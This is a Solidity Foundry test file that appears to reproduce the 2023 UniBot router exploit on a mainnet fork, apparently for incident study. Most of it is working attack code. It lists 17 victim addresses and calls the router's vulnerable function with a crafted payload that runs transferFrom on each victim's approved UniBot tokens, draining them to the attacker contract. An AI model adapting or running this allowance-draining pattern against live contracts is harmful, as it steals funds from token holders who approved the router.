src/test/2023-10/UniBot_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.20;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo -- Total Lost : ~83,994 USD$
8// Attacker : https://etherscan.io/address/0x413e4fb75c300b92fec12d7c44e4c0b4faab4d04
9// Attack Contract : https://etherscan.io/address/0x2b326a17b5ef826fa4e17d3836364ae1f0231a6f
10// Attacker Transaction :
11// https://etherscan.io/tx/0xcbe521aea28911fe9983030748028e12541e347b8b6b974d026fa5065c22f0cf
12 
13// @Analysis
14// https://twitter.com/PeckShieldAlert/status/1719251390319796477
15 
16interface IUniBotRouter {}
17 
18// The hacker sent multiple transactions to attack, just taking the first transaction as an example.
19 
20contract IUniBotRouterExploit is Test {
21    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
22 
23    IUniBotRouter router = IUniBotRouter(0x126c9FbaB3A2FCA24eDfd17322E71a5e36E91865);
24    IERC20 UniBot = IERC20(0xf819d9Cb1c2A819Fd991781A822dE3ca8607c3C9);
25    WETH9 WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
26 
27    function setUp() public {
28        cheats.createSelectFork("mainnet", 18_467_805);
29 
30        cheats.label(address(router), "UniBotRouter");
31        cheats.label(address(UniBot), "UniBot Token");
32    }
33 
34    function testExploit() public {
35        emit log_named_decimal_uint(
36            "Attacker UniBot balance before exploit", UniBot.balanceOf(address(this)), UniBot.decimals()
37        );
38 
39        address[] memory victims = new address[](17);
40 
41        victims[0] = 0xA20Cb17D888b7E426A3a7Ca2E583706dE48a04f3;
42        victims[1] = 0x9a74A98Df43c085D89c6311746fe5C9D989982e5;
43        victims[2] = 0x2004DE74c1c41A6943f364508f2e1a2390D0C9f9;
44        victims[3] = 0x7cf45fc309E45bFF39178f475e6A8B2A7d34B664;
45        victims[4] = 0x69B0E938172b4ed5d8184420b202B8277AbACEad;
46        victims[5] = 0x111bA89bd55e6d88e0CD1E193601E3a612FA703D;
47        victims[6] = 0xB03b67cBae72c26CB262e5299a7FBC44A3f9D60A;
48        victims[7] = 0xA6C9dA49553bcfec4633F4a0B81FBb4255F590fB;
49        victims[8] = 0xEEE050e1C0644364Ba53872f096Ba4F8088eA22F;
50        victims[9] = 0x4E19e37187Ca00F8eD8B6Ad258c6CaD823AA67b4;
51        victims[10] = 0xde6E807908B7cB01aA19402fd022c20f1B02AA9d;
52        victims[11] = 0x0d2FC413c1bEEB51f0c91a851Cb27421bccC75aC;
53        victims[12] = 0x97508F07D974FB02B79bf26bBa7bCE96E0e0985A;
54        victims[13] = 0x8523e886556CF1Bb539afF13d339cb1f3F9ecB25;
55        victims[14] = 0xEba8364c737c6C58c89C9907567eCd5265f08ac2;
56        victims[15] = 0x8a1Ee663e8Cd3F967D1814657A8858246ED31444;
57        victims[16] = 0x92c3717A1318cf0e02883Ca0BAE73bd90469325A;
58 
59        bytes4 vulnFunctionSignature = hex"b2bd16ab";
60        address[] memory first_param = new address[](4);
61        first_param[0] = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
62        first_param[1] = address(UniBot);
63        first_param[2] = address(UniBot);
64        first_param[3] = address(UniBot);
65        for (uint256 i = 0; i < victims.length; i++) {
66            uint256 allowance = UniBot.allowance(victims[i], address(router));
67            uint256 balance = UniBot.balanceOf(victims[i]);
68            balance = allowance < balance ? allowance : balance;
69            bytes memory transferFromData =
70                abi.encodeWithSignature("transferFrom(address,address,uint256)", victims[i], address(this), balance);
71            bytes memory data = abi.encodeWithSelector(
72                vulnFunctionSignature, first_param, 0, true, 100_000, transferFromData, new address[](1)
73            );
74            (bool success, bytes memory result) = address(router).call(data);
75        }
76        uint256 UniBotBalance = UniBot.balanceOf(address(this));
77        emit log_named_decimal_uint("Attacker UniBot balance after exploit", UniBotBalance, UniBot.decimals());
78    }
79}